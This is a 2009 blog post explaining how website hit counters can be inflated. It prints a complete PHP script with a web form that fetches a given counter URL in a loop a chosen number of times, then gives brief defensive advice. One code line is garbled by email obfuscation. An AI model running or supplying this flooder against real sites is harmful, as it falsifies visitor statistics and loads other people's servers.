How someone can easily flood counter of your website?

Posted By: KP On June 11, 2009 Under Internet, Security Stuff, Web Hosting, Web Master Categories

If you are using image counter or some other counter which is executed via some code given by the site,your counter can be flooded very easily.

It’s nothing but little php code which fetches your counter/website code using curl.If you have set your counter to user hits not unique users,Your counter service won’t work upon ip of visitor or cookie method.

This means it will count every hit.So calling the counter url via curl the counter will increase.Putting the concept in a loop will make increase of the counter rapidly.

<?php

if($_GET['url'])
{
$url=trim($_GET['url']);
$num=trim($_GET['num']);
for($i=0;$i<=$num-1;$i++)
{
[email protected]_get_contents($url);
}
echo “Flooded $num Times”;
}
else
{
?>
<form action=”" method=”get”>URL (Website or Counter Image):<input type=”text” name=”url” size=”50″><bt>How many hits to be flooded ?:<input type=”text” name=”num”><br><br><input type=”submit” value=”Increase My Hits Please”></form>
<?php
}
?>

So above is complete code that flooders use.If you know little bit php you will be able to understand it very easily.

So how will you protect your website counter from getting flooded ?

Use own counter , Set it to unique hits.Counter is not proper way to get visitor stats.You can use AWStats or Google Analytics.Because counter counts robots hits as normal hits.

WARNING : Running above code on server may eat your server resources.



Share with Friends ( Sharing is Caring! )


Subscribe For E-mail Notification Of Article Updates

Enter your email address:

NOTICE:
DO NOT FORGET TO CLICK ON THE VERIFICATION LINK AFTER SUBSCRIBING,THE VERIFICATION MAIL WILL BE SENT TO YOU FROM "FeedBurner Email Subscriptions".
( What is this? Why I need to do this?)

Related Posts

Post a Comment

OR